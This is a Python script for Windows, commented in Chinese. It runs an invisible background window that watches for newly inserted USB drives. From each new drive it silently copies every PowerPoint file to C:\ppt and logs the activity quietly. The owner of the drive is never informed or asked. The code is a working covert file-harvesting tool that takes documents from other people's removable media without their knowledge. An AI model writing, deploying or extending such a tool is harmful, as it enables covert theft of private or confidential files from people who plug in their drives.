import os
import shutil
import win32api
import win32gui
import win32con
import time
import datetime

# ---------------- 配置区域 ----------------
TARGET_DIR = r"C:\ppt"           # 目标拷贝目录
LOG_FILE = r"C:\ppt\usb_log.txt" # 日志文件路径
EXTENSIONS = ('.ppt', '.pptx')   # 需要扫描的后缀
# ----------------------------------------

# 确保目标目录存在（需要管理员权限）
if not os.path.exists(TARGET_DIR):
    try:
        os.makedirs(TARGET_DIR)
    except:
        pass # 如果创建失败通常是因为没权限，日志函数会记录

processed_uuids = set()

def write_log(message):
    """写入日志文件，代替print"""
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    log_msg = f"[{timestamp}] {message}\n"
    try:
        with open(LOG_FILE, "a", encoding="utf-8") as f:
            f.write(log_msg)
    except:
        # 如果连日志都写不进去，说明权限真的不够，或者路径不对
        pass

def get_drive_list():
    drives_str = win32api.GetLogicalDriveStrings()
    drives = drives_str.split('\000')[:-1]
    return drives

def get_drive_uuid(drive_path):
    try:
        vol_info = win32api.GetVolumeInformation(drive_path)
        return vol_info[1]
    except Exception as e:
        write_log(f"错误: 无法读取磁盘 {drive_path} - {e}")
        return None

def scan_and_copy(drive_path):
    write_log(f"开始扫描磁盘: {drive_path}")
    
    # 再次确保目录存在
    if not os.path.exists(TARGET_DIR):
        try:
            os.makedirs(TARGET_DIR)
        except Exception as e:
            write_log(f"致命错误: 无法创建目标目录 {TARGET_DIR} - {e}")
            return

    count = 0
    for root, dirs, files in os.walk(drive_path):
        for file in files:
            if file.lower().endswith(EXTENSIONS):
                source_file = os.path.join(root, file)
                dest_file = os.path.join(TARGET_DIR, file)
                
                try:
                    shutil.copy2(source_file, dest_file)
                    write_log(f"成功拷贝: {file}")
                    count += 1
                except Exception as e:
                    write_log(f"拷贝失败: {file} - {e}")
    
    write_log(f"扫描完成，共拷贝 {count} 个文件。")

class DeviceListener:
    def __init__(self):
        message_map = {
            win32con.WM_DEVICECHANGE: self.on_device_change
        }
        wc = win32gui.WNDCLASS()
        wc.lpszClassName = "HiddenDeviceListener"
        wc.lpfnWndProc = message_map
        
        try:
            class_atom = win32gui.RegisterClass(wc)
        except Exception:
            class_atom = win32gui.GetClassInfo(win32api.GetModuleHandle(None), "HiddenDeviceListener")
            
        # 创建一个隐藏窗口 (宽0高0，无WS_VISIBLE标志)
        self.hwnd = win32gui.CreateWindow(
            class_atom, "Hidden Listener", 0, 0, 0, 0, 0, 0, 0, win32api.GetModuleHandle(None), None
        )
        
        self.existing_drives = set(get_drive_list())
        write_log("=== 服务已启动，后台监听中 ===")

    def on_device_change(self, hwnd, msg, wparam, lparam):
        if wparam == 0x8000: # DBT_DEVICEARRIVAL
            current_drives = set(get_drive_list())
            new_drives = current_drives - self.existing_drives
            self.existing_drives = current_drives
            
            for drive in new_drives:
                self.handle_new_drive(drive)
                
        elif wparam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
            current_drives = set(get_drive_list())
            self.existing_drives = current_drives
            
        return 1

    def handle_new_drive(self, drive_path):
        write_log(f"检测到新设备: {drive_path}")
        time.sleep(2) # 等待挂载稳定
        
        uuid = get_drive_uuid(drive_path)
        if uuid is None:
            return

        write_log(f"设备UUID: {uuid}")

        if uuid in processed_uuids:
            write_log("UUID已记录，跳过本次扫描。")
        else:
            processed_uuids.add(uuid)
            scan_and_copy(drive_path)

if __name__ == '__main__':
    listener = DeviceListener()
    win32gui.PumpMessages()